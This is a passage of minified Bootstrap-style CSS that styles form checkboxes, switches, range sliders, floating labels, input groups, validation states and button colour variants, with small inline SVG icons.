.form-check-input{float:right;margin-right:-1.5em;margin-left:0}.form-check-input{--bs-form-check-bg:var(--bs-body-bg);flex-shrink:0;width:1em;height:1em;margin-top:.25em;vertical-align:top;-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:var(--bs-form-check-bg);background-image:var(--bs-form-check-bg-image);background-repeat:no-repeat;background-position:center;background-size:contain;border:var(--bs-border-width) solid var(--bs-border-color);-webkit-print-color-adjust:exact;color-adjust:exact;print-color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#9aacf3;outline:0;box-shadow:0 0 0 .25rem rgba(52,89,230,.25)}.form-check-input:checked{background-color:#3459e6;border-color:#3459e6}.form-check-input:checked[type=checkbox]{--bs-form-check-bg-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='m6 10 3 3 6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{--bs-form-check-bg-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#3459e6;border-color:#3459e6;--bs-form-check-bg-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{cursor:default;opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{--bs-form-switch-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");width:2em;margin-left:-2.5em;background-image:var(--bs-form-switch-bg);background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{--bs-form-switch-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%239aacf3'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;--bs-form-switch-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-switch.form-check-reverse{padding-right:2.5em;padding-left:0}.form-switch.form-check-reverse .form-check-input{margin-right:-2.5em;margin-left:0}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}[data-bs-theme=dark] .form-switch .form-check-input:not(:checked):not(:focus){--bs-form-switch-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%28255, 255, 255, 0.25%29'/%3e%3c/svg%3e")}.form-range{width:100%;height:1.5rem;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(52,89,230,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(52,89,230,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;-webkit-appearance:none;appearance:none;background-color:#3459e6;border:0;border-radius:1rem;box-shadow:0 .1rem .25rem rgba(0,0,0,.1);-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#c2cdf8}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:var(--bs-secondary-bg);border-color:transparent;border-radius:1rem;box-shadow:var(--bs-box-shadow-inset)}.form-range::-moz-range-thumb{width:1rem;height:1rem;-moz-appearance:none;appearance:none;background-color:#3459e6;border:0;border-radius:1rem;box-shadow:0 .1rem .25rem rgba(0,0,0,.1);-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#c2cdf8}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:var(--bs-secondary-bg);border-color:transparent;border-radius:1rem;box-shadow:var(--bs-box-shadow-inset)}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:var(--bs-secondary-color)}.form-range:disabled::-moz-range-thumb{background-color:var(--bs-secondary-color)}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-control-plaintext,.form-floating>.form-select{height:calc(3.5rem + calc(var(--bs-border-width) * 2));min-height:calc(3.5rem + calc(var(--bs-border-width) * 2));line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;z-index:2;height:100%;padding:1rem 1rem;overflow:hidden;text-align:start;text-overflow:ellipsis;white-space:nowrap;pointer-events:none;border:var(--bs-border-width) solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control,.form-floating>.form-control-plaintext{padding:1rem 1rem}.form-floating>.form-control-plaintext::-moz-placeholder,.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control-plaintext::placeholder,.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control-plaintext:not(:-moz-placeholder-shown),.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:focus,.form-floating>.form-control-plaintext:not(:placeholder-shown),.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:-webkit-autofill,.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{color:rgba(var(--bs-body-color-rgb),.65);transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label,.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{color:rgba(var(--bs-body-color-rgb),.65);transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:not(:-moz-placeholder-shown)~label::after{position:absolute;inset:1rem 0.5rem;z-index:-1;height:1.5em;content:"";background-color:var(--bs-body-bg);border-radius:var(--bs-border-radius)}.form-floating>.form-control-plaintext~label::after,.form-floating>.form-control:focus~label::after,.form-floating>.form-control:not(:placeholder-shown)~label::after,.form-floating>.form-select~label::after{position:absolute;inset:1rem 0.5rem;z-index:-1;height:1.5em;content:"";background-color:var(--bs-body-bg);border-radius:var(--bs-border-radius)}.form-floating>.form-control:-webkit-autofill~label{color:rgba(var(--bs-body-color-rgb),.65);transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label{border-width:var(--bs-border-width) 0}.form-floating>.form-control:disabled~label,.form-floating>:disabled~label{color:#6c757d}.form-floating>.form-control:disabled~label::after,.form-floating>:disabled~label::after{background-color:var(--bs-secondary-bg)}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-floating,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-floating:focus-within,.input-group>.form-select:focus{z-index:5}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:5}.input-group-text{display:flex;align-items:center;padding:.5rem 1rem;font-size:.875rem;font-weight:400;line-height:1.5;color:var(--bs-body-color);text-align:center;white-space:nowrap;background-color:var(--bs-tertiary-bg);border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius)}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:var(--bs-border-radius-lg)}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:var(--bs-border-radius-sm)}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:4rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-control,.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-select,.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-control,.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-select,.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:calc(var(--bs-border-width) * -1);border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.form-floating:not(:first-child)>.form-control,.input-group>.form-floating:not(:first-child)>.form-select{border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:var(--bs-form-valid-color)}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:var(--bs-success);border-radius:var(--bs-border-radius)}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:var(--bs-form-valid-border-color);padding-right:calc(1.5em + 1rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%232fb380' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .25rem) center;background-size:calc(.75em + .5rem) calc(.75em + .5rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:var(--bs-form-valid-border-color);box-shadow:0 1px 2px rgba(0,0,0,.05),0 0 0 .25rem rgba(var(--bs-success-rgb),.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + 1rem);background-position:top calc(.375em + .25rem) right calc(.375em + .25rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:var(--bs-form-valid-border-color)}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{--bs-form-select-bg-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%232fb380' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");padding-right:5.5rem;background-position:right 1rem center,center right 3rem;background-size:16px 12px,calc(.75em + .5rem) calc(.75em + .5rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:var(--bs-form-valid-border-color);box-shadow:var(--bs-box-shadow-inset),0 0 0 .25rem rgba(var(--bs-success-rgb),.25)}.form-control-color.is-valid,.was-validated .form-control-color:valid{width:calc(3rem + calc(1.5em + 1rem))}.form-check-input.is-valid,.was-validated .form-check-input:valid{border-color:var(--bs-form-valid-border-color)}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:var(--bs-form-valid-color)}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(var(--bs-success-rgb),.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:var(--bs-form-valid-color)}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-valid,.input-group>.form-floating:not(:focus-within).is-valid,.input-group>.form-select:not(:focus).is-valid,.was-validated .input-group>.form-control:not(:focus):valid,.was-validated .input-group>.form-floating:not(:focus-within):valid,.was-validated .input-group>.form-select:not(:focus):valid{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:var(--bs-form-invalid-color)}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:var(--bs-danger);border-radius:var(--bs-border-radius)}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:var(--bs-form-invalid-border-color);padding-right:calc(1.5em + 1rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23da292e'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23da292e' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .25rem) center;background-size:calc(.75em + .5rem) calc(.75em + .5rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:var(--bs-form-invalid-border-color);box-shadow:0 1px 2px rgba(0,0,0,.05),0 0 0 .25rem rgba(var(--bs-danger-rgb),.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + 1rem);background-position:top calc(.375em + .25rem) right calc(.375em + .25rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:var(--bs-form-invalid-border-color)}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{--bs-form-select-bg-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23da292e'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23da292e' stroke='none'/%3e%3c/svg%3e");padding-right:5.5rem;background-position:right 1rem center,center right 3rem;background-size:16px 12px,calc(.75em + .5rem) calc(.75em + .5rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:var(--bs-form-invalid-border-color);box-shadow:var(--bs-box-shadow-inset),0 0 0 .25rem rgba(var(--bs-danger-rgb),.25)}.form-control-color.is-invalid,.was-validated .form-control-color:invalid{width:calc(3rem + calc(1.5em + 1rem))}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:var(--bs-form-invalid-border-color)}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:var(--bs-form-invalid-color)}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(var(--bs-danger-rgb),.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:var(--bs-form-invalid-color)}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-invalid,.input-group>.form-floating:not(:focus-within).is-invalid,.input-group>.form-select:not(:focus).is-invalid,.was-validated .input-group>.form-control:not(:focus):invalid,.was-validated .input-group>.form-floating:not(:focus-within):invalid,.was-validated .input-group>.form-select:not(:focus):invalid{z-index:4}.btn{--bs-btn-padding-x:1rem;--bs-btn-padding-y:0.5rem;--bs-btn-font-family: ;--bs-btn-font-size:0.875rem;--bs-btn-font-weight:500;--bs-btn-line-height:1.5;--bs-btn-color:var(--bs-body-color);--bs-btn-bg:transparent;--bs-btn-border-width:var(--bs-border-width);--bs-btn-border-color:transparent;--bs-btn-border-radius:var(--bs-border-radius);--bs-btn-hover-border-color:transparent;--bs-btn-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-opacity:0.65;--bs-btn-focus-box-shadow:0 0 0 0.25rem rgba(var(--bs-btn-focus-shadow-rgb), .5);display:inline-block;padding:var(--bs-btn-padding-y) var(--bs-btn-padding-x);font-family:var(--bs-btn-font-family);font-size:var(--bs-btn-font-size);font-weight:var(--bs-btn-font-weight);line-height:var(--bs-btn-line-height);color:var(--bs-btn-color);text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:var(--bs-btn-border-width) solid var(--bs-btn-border-color);border-radius:var(--bs-btn-border-radius);background-color:var(--bs-btn-bg);box-shadow:var(--bs-btn-box-shadow);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color)}.btn-check+.btn:hover{color:var(--bs-btn-color);background-color:var(--bs-btn-bg);border-color:var(--bs-btn-border-color)}.btn:focus-visible{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-box-shadow),var(--bs-btn-focus-box-shadow)}.btn-check:focus-visible+.btn{border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-box-shadow),var(--bs-btn-focus-box-shadow)}.btn-check:checked+.btn,.btn.active,.btn.show,.btn:first-child:active,:not(.btn-check)+.btn:active{color:var(--bs-btn-active-color);background-color:var(--bs-btn-active-bg);border-color:var(--bs-btn-active-border-color);box-shadow:var(--bs-btn-active-shadow)}.btn-check:checked+.btn:focus-visible,.btn.active:focus-visible,.btn.show:focus-visible,.btn:first-child:active:focus-visible,:not(.btn-check)+.btn:active:focus-visible{box-shadow:var(--bs-btn-active-shadow),var(--bs-btn-focus-box-shadow)}.btn-check:checked:focus-visible+.btn{box-shadow:var(--bs-btn-active-shadow),var(--bs-btn-focus-box-shadow)}.btn.disabled,.btn:disabled,fieldset:disabled .btn{color:var(--bs-btn-disabled-color);pointer-events:none;background-color:var(--bs-btn-disabled-bg);border-color:var(--bs-btn-disabled-border-color);opacity:var(--bs-btn-disabled-opacity);box-shadow:none}.btn-primary{--bs-btn-color:#fff;--bs-btn-bg:#3459e6;--bs-btn-border-color:#3459e6;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#2c4cc4;--bs-btn-hover-border-color:#2a47b8;--bs-btn-focus-shadow-rgb:82,114,234;--bs-btn-active-color:#fff;--bs-btn-active-bg:#2a47b8;--bs-btn-active-border-color:#2743ad;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#3459e6;--bs-btn-disabled-border-color:#3459e6}.btn-secondary{--bs-btn-color:#000;--bs-btn-bg:#fff;--bs-btn-border-color:#fff;--bs-btn-hover-color:#000;--bs-btn-hover-bg:white;--bs-btn-hover-border-color:white;--bs-btn-focus-shadow-rgb:217,217,217;--bs-btn-active-color:#000;--bs-btn-active-bg:white;--bs-btn-active-border-color:white;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#fff;--bs-btn-disabled-border-color:#fff}.btn-success{--bs-btn-color:#fff;--bs-btn-bg:#2fb380;--bs-btn-border-color:#2fb380;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#28986d;--bs-btn-hover-border-color:#268f66;--bs-btn-focus-shadow-rgb:78,190,147;--bs-btn-active-color:#fff;--bs-btn-active-bg:#268f66;--bs-btn-active-border-color:#238660;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#2fb380;--bs-btn-disabled-border-color:#2fb380}.btn-info{--bs-btn-color:#fff;--bs-btn-bg:#287bb5;--bs-btn-border-color:#287bb5;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#22699a;--bs-btn-hover-border-color:#206291;--bs-btn-focus-shadow-rgb:72,143,192;--bs-btn-active-color:#fff;--bs-btn-active-bg:#206291;--bs-btn-active-border-color:#1e5c88;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#287bb5;--bs-btn-disabled-border-color:#287bb5}.btn-warning{--bs-btn-color:#fff;--bs-btn-bg:#f4bd61;--bs-btn-border-color:#f4bd61;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#cfa152;--bs-btn-hover-border-color:#c3974e;--bs-btn-focus-shadow-rgb:246,199,121;--bs-btn-active-color:#fff;--bs-btn-active-bg:#c3974e;--bs-btn-active-border-color:#b78e49;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#f4bd61;--bs-btn-disabled-border-color:#f4bd61}.btn-danger{--bs-btn-color:#fff;--bs-btn-bg:#da292e;--bs-btn-border-color:#da292e;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#b92327;--bs-btn-hover-border-color:#ae2125;--bs-btn-focus-shadow-rgb:224,73,77;--bs-btn-active-color:#fff;--bs-btn-active-bg:#ae2125;--bs-btn-active-border-color:#a41f23;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#da292e;--bs-btn-disabled-border-color:#da292e}.btn-light{--bs-btn-color:#000;--bs-btn-bg:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#d3d4d5;--bs-btn-hover-border-color:#c6c7c8;--bs-btn-focus-shadow-rgb:211,212,213;--bs-btn-active-color:#fff;--bs-btn-active-bg:#c6c7c8;--bs-btn-active-border-color:#babbbc;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#f8f9fa;--bs-btn-disabled-border-color:#f8f9fa}.btn-dark{--bs-btn-color:#fff;--bs-btn-bg:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#424649;--bs-btn-hover-border-color:#373b3e;--bs-btn-focus-shadow-rgb:66,70,73;--bs-btn-active-color:#fff;--bs-btn-active-bg:#4d5154;--bs-btn-active-border-color:#373b3e;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#212529;--bs-btn-disabled-border-color:#212529}.btn-outline-primary{--bs-btn-color:#3459e6;--bs-btn-border-color:#3459e6;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#3459e6;--bs-btn-hover-border-color:#3459e6;--bs-btn-focus-shadow-rgb:52,89,230;--bs-btn-active-color:#fff;--bs-btn-active-bg:#3459e6;--bs-btn-active-border-color:#3459e6;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#3459e6;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#3459e6;--bs-gradient:none}.btn-outline-secondary{--bs-btn-color:#fff;--bs-btn-border-color:#fff;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#fff;--bs-btn-hover-border-color:#fff;--bs-btn-focus-shadow-rgb:255,255,255;--bs-btn-active-color:#000;--bs-btn-active-bg:#fff;--bs-btn-active-border-color:#fff;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#fff;--bs-gradient:none}.btn-outline-success{--bs-btn-color:#2fb380;--bs-btn-border-color:#2fb380;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#2fb380;--bs-btn-hover-border-color:#2fb380;--bs-btn-focus-shadow-rgb:47,179,128;--bs-btn-active-color:#fff;--bs-btn-active-bg:#2fb380;--bs-btn-active-border-color:#2fb380;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#2fb380;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#2fb380;--bs-gradient:none}.btn-outline-info{--bs-btn-color:#287bb5;--bs-btn-border-color:#287bb5;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#287bb5;--bs-btn-hover-border-color:#287bb5;--bs-btn-focus-shadow-rgb:40,123,181;--bs-btn-active-color:#fff;--bs-btn-active-bg:#287bb5;--bs-btn-active-border-color:#287bb5;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#287bb5;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#287bb5;--bs-gradient:none}.btn-outline-warning{--bs-btn-color:#f4bd61;--bs-btn-border-color:#f4bd61;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#f4bd61;--bs-btn-hover-border-color:#f4bd61;--bs-btn-focus-shadow-rgb:244,189,97;--bs-btn-active-color:#fff;--bs-btn-active-bg:#f4bd61;--bs-btn-active-border-color:#f4bd61;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#f4bd61;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#f4bd61;--bs-gradient:none}.btn-outline-danger{--bs-btn-color:#da292e;--bs-btn-border-color:#da292e;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#da292e;--bs-btn-hover-border-color:#da292e;--bs-btn-focus-shadow-rgb:218,41,46;--bs-btn-active-color:#fff;--bs-btn-active-bg:#da292e;--bs-btn-active-border-color:#da292e;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#da292e;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#da292e;--bs-gradient:none}.btn-outline-light{--bs-btn-color:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#f8f9fa;--bs-btn-hover-border-color:#f8f9fa;--bs-btn-focus-shadow-rgb:248,249,250;--bs-btn-active-color:#000;--bs-btn-active-bg:#f8f9fa;--bs-btn-active-border-color:#f8f9fa;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#f8f9fa;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#f8f9fa;--bs-gradient:none}.btn-outline-dark{--bs-btn-color:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#212529;--bs-btn-hover-border-color:#212529;--bs-btn-focus-shadow-rgb:33,37,41;--bs-btn-active-color:#fff;--bs-btn-active-bg:#212529;--bs-btn-active-border-color:#212529;--bs-btn-active-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-btn-disabled-color:#212529;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#212529;--bs-gradient:none}.btn-link{--bs-btn-font-weight:400;--bs-btn-color:var(--bs-link-color);--bs-btn-bg:transparent;--bs-btn-border-color:transparent;--bs-btn-hover-color:var(--bs-link-hover-color);--bs-btn-hover-border-color:transparent;--bs-btn-active-color:var(--bs-link-hover-color);--bs-btn-active-border-color:transparent;--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-border-color:transparent;--bs-btn-box-shadow:0 0 0 #000;--bs-btn-focus-shadow-rgb:82,114,234;text-decoration:underline}.btn-link:focus-visible{color:var(--bs-btn-color)}.btn-link:hover{color:var(--bs-btn-hover-color)}.btn-group-lg>.btn,.btn-lg{--bs-btn-padding-y:0.5rem;--bs-btn-padding-x:1rem;--bs-btn-font-size:1.25rem;--bs-btn-border-radius:var(--bs-border-radius-lg)}.btn-group-sm>.btn,.btn-sm{--bs-btn-padding-y:0.25rem;--bs-btn-padding-x:0.5rem;--bs-btn-font-size:0.875rem;--bs-btn-border-radius:var(--bs-border-radius-sm)}.fade{transition:opacity .15s linear}@media 